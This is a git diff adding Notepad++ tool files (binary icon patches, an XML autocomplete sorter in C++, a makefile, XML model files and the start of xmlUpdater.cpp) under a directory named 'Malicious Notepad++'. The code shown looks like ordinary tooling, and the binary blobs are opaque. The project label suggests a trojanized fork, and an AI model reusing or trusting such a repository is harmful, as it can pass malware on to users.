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 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/tools/NppShell/src/icon/npp_0.ico b/Malicious Notepad++/src/tools/NppShell/src/icon/npp_0.ico new file mode 100644 index 0000000000000000000000000000000000000000..1ae54139c4f9fc6095bad7ffa8d0a7a19eafa88a GIT binary patch literal 7406 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 U_b$7_+2T*Pxcm_9viD^E4K`J!J^%m! literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/tools/NppShell/src/icon/npp_1.ico b/Malicious Notepad++/src/tools/NppShell/src/icon/npp_1.ico new file mode 100644 index 0000000000000000000000000000000000000000..bb90d41f715a67c6e7a73713265647624eadf9f3 GIT binary patch literal 7406 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 +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "tinyxml.h" + +#include +#include + +using namespace std; + +struct xmlname{ + TiXmlElement * node; + const char * name; + xmlname(TiXmlElement * n, const char * na) { node = n; name = na;} +}; + +//true if x1 smaller +bool sortXMLCase(const xmlname & x1, const xmlname & x2) { + return (strcmp(x1.name, x2.name) < 0); +} + +inline bool lower(char c) { + return (c >= 'a' && c <= 'z'); +} + +inline bool match(char c1, char c2) { + if (c1 == c2) return true; + if (lower(c1)) + return ((c1-32) == c2); + if (lower(c2)) + return ((c2-32) == c1); + return false; +} + +//true if x1 smaller +bool sortXML(const xmlname & x1, const xmlname & x2) { + + const char * n1 = x1.name, * n2 = x2.name; + int i = 0; + while(match(n2[i], n1[i])) { + if (n1[i] == 0) { + return true; //equal + } + i++; + } + + int subs1 = lower(n1[i])?32:0; + int subs2 = lower(n2[i])?32:0; + + return ( (n1[i]-subs1) < (n2[i]-subs2) ); + +} + +void merge(TiXmlElement * n1, TiXmlElement * n2); + +int main(int argc, char *argv[]) +{ + const char * file = NULL; + + if (argc < 2) { + cout << "Usage: sorter.exe xmlfile.xml" << endl; + return 1; + } + file = argv[1]; + + TiXmlDocument *pXmlApi = NULL; + pXmlApi = new TiXmlDocument(file); + bool loadOkay = pXmlApi->LoadFile(); + if (!loadOkay) return 1; + + TiXmlNode *root = pXmlApi->FirstChild("NotepadPlus"); + if (!root) { + cout << "NotepadPlus node not found\n"; + return 1; + } + TiXmlElement *autoc = root->FirstChildElement("AutoComplete"); + if (!autoc) { + cout << "AutoComplete node not found\n"; + return 1; + } + const char * langName = autoc->Attribute("language"); + + TiXmlElement *envNode = autoc->FirstChildElement("Environment"); + bool ignoreCase = false; + if (envNode) { + cout << "Found environment settings\n"; + const char * ignoreCaseText = envNode->Attribute("ignoreCase"); + if (ignoreCaseText) { + ignoreCase = (strcmp(ignoreCaseText, "yes") == 0); + if (ignoreCase) { + cout << "Sorting case insensitive\n"; + } else { + cout << "Sorting case sensitive\n"; + } + } else { + cout <<"Cannot find attribute \"ignoreCase\", defaulting to case sensitive sort\nConsider adding the node\n"; + } + } else { + cout << "No environment settings found, defaulting to case sensitive sort\nConsider adding the node\n"; + } + + vector words; + for (TiXmlElement *childNode = autoc->FirstChildElement("KeyWord"); + childNode ; + childNode = childNode->NextSiblingElement("KeyWord") ) + { + const char * name = childNode->Attribute("name"); + if (!name) { + cout << "Warning: KeyWord without name!, skipping...\n"; + continue; + } else { + int i = 0; + while(name[i] != 0) { + if (!isalnum(name[i]) && name[i] != '_') { + cout << "Warning, keyword " << name << " contains unsupported characters!\n"; + break; + } + i++; + } + words.push_back(xmlname(childNode, name)); + } + } + + if (ignoreCase) + sort(words.begin(), words.end(), sortXML); + else + sort(words.begin(), words.end(), sortXMLCase); + + for(size_t i = 1; i < words.size(); i++) { + //merge duplicates + if (!strcmp(words[i].name, words[i-1].name)) { + merge(words[i-1].node, words[i].node); + words.erase(words.begin() + i); + } + } + + TiXmlDocument doc; + TiXmlDeclaration * decl = new TiXmlDeclaration( "1.0", "Windows-1252", "" ); + doc.LinkEndChild( decl ); + TiXmlElement * element = new TiXmlElement( "NotepadPlus" ); + doc.LinkEndChild( element ); + TiXmlElement * element2 = new TiXmlElement( "AutoComplete" ); + element->LinkEndChild( element2 ); + + if (langName) + element2->SetAttribute("language", langName); + + if (envNode) + element2->LinkEndChild(envNode); + + for(size_t i = 0; i < words.size(); i++) { + element2->LinkEndChild(words[i].node); + } + + doc.SaveFile( file ); + + return 0; +} + +void merge(TiXmlElement * n1, TiXmlElement * n2) { + const char * funcAttr = NULL; + funcAttr = n2->Attribute("func"); + if (!funcAttr || !strcmp(funcAttr, "yes")) { + return; + } + + n1->SetAttribute("func", "yes"); + + for (TiXmlElement *childNode = n2->FirstChildElement("Overload"); + childNode ; + childNode = childNode->NextSiblingElement("Overload") ) + { + n1->LinkEndChild(childNode); + } + + return; +} diff --git a/Malicious Notepad++/src/tools/xmlApiSorter/sorter.vcproj b/Malicious Notepad++/src/tools/xmlApiSorter/sorter.vcproj new file mode 100644 index 0000000..45dcfb1 --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlApiSorter/sorter.vcproj @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/configModel.xml b/Malicious Notepad++/src/tools/xmlUpdater/configModel.xml new file mode 100644 index 0000000..bcef6f6 --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/configModel.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/langsModel.xml b/Malicious Notepad++/src/tools/xmlUpdater/langsModel.xml new file mode 100644 index 0000000..ba690cf --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/langsModel.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/makefile b/Malicious Notepad++/src/tools/xmlUpdater/makefile new file mode 100644 index 0000000..19af675 --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/makefile @@ -0,0 +1,56 @@ +# this file is part of notepad++ +# Copyright (C)2003 Don HO ( donho@altern.org ) +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either +# version 2 of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +.SUFFIXES: .cpp +CPP = g++ +CFLAGS = -Wall -Os -DNDEBUG + +MAINOBJS = xmlUpdater.o +TINYXMLOBJS = tinystr.o tinyxml.o tinyxmlerror.o tinyxmlparser.o + +TINYXMLDIR = ../../TinyXml + +OBJS = $(MAINOBJS) $(TINYXMLOBJS) + +PROG = xmlUpdater.exe + +INCLUDEDIR = $(TINYXMLDIR) +INCLUDEFLAGS = -I$(INCLUDEDIR) +LDFLAGS = +#-mwindows -lshlwapi -Os -s + +ALL : $(PROG) + + +$(PROG) : $(OBJS) + $(CPP) -o $@ $(OBJS) $(LDFLAGS) + +xmlUpdater.o : $(INCLUDEDIR)/tinyxml.h + $(CPP) -c xmlUpdater.cpp -o $@ $(INCLUDEFLAGS) + +tinystr.o: $(TINYXMLDIR)/tinystr.h $(TINYXMLDIR)/tinyxml.h + $(CPP) $(CFLAGS) -c $(TINYXMLDIR)/tinystr.cpp -o $@ $(INCLUDEFLAGS) + +tinyxml.o: $(TINYXMLDIR)/tinyxml.h + $(CPP) $(CFLAGS) -c $(TINYXMLDIR)/tinyxml.cpp -o $@ $(INCLUDEFLAGS) + +tinyxmlerror.o: $(TINYXMLDIR)/tinyxml.h + $(CPP) $(CFLAGS) -c $(TINYXMLDIR)/tinyxmlerror.cpp -o $@ $(INCLUDEFLAGS) + +tinyxmlparser.o: $(TINYXMLDIR)/tinyxml.h + $(CPP) $(CFLAGS) -c $(TINYXMLDIR)/tinyxmlparser.cpp -o $@ $(INCLUDEFLAGS) + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/stylers_remove.xml b/Malicious Notepad++/src/tools/xmlUpdater/stylers_remove.xml new file mode 100644 index 0000000..041502c --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/stylers_remove.xml @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/stylesModel.xml b/Malicious Notepad++/src/tools/xmlUpdater/stylesModel.xml new file mode 100644 index 0000000..16bf01a --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/stylesModel.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.cpp b/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.cpp new file mode 100644 index 0000000..0527763 --- /dev/null +++ b/Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.cpp @@ -0,0 +1,346 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "tinyxml.h" +#define MODEL_INVALID 1 +#define SRC_INVALID 2 +#define DEST_INVALID 3 + +static bool isInList(const char *token2Find, char *list2Clean) { + char word[1024]; + bool isFileNamePart = false; + + for (int i = 0, j = 0 ; i <= int(strlen(list2Clean)) ; i++) + { + if ((list2Clean[i] == ' ') || (list2Clean[i] == '\0')) + { + if ((j) && (!isFileNamePart)) + { + word[j] = '\0'; + j = 0; + bool bingo = !strcmp(token2Find, word); + + if (bingo) + { + int wordLen = int(strlen(word)); + int prevPos = i - wordLen; + + for (i = i + 1 ; i <= int(strlen(list2Clean)) ; i++, prevPos++) + list2Clean[prevPos] = list2Clean[i]; + + list2Clean[prevPos] = '\0'; + + return true; + } + } + } + else if (list2Clean[i] == '"') + { + isFileNamePart = !isFileNamePart; + } + else + { + word[j++] = list2Clean[i]; + } + } + return false; +}; + + +void update(TiXmlNode *modelNode, TiXmlNode *srcNode, TiXmlNode *destNode) { + TiXmlNode *srcChildNode = NULL; + TiXmlNode *destChildNode = NULL; + TiXmlNode *modelChildNode = modelNode->FirstChild("Node"); + + if (!srcNode) return; + + for (modelChildNode = modelNode->FirstChild("Node"); + 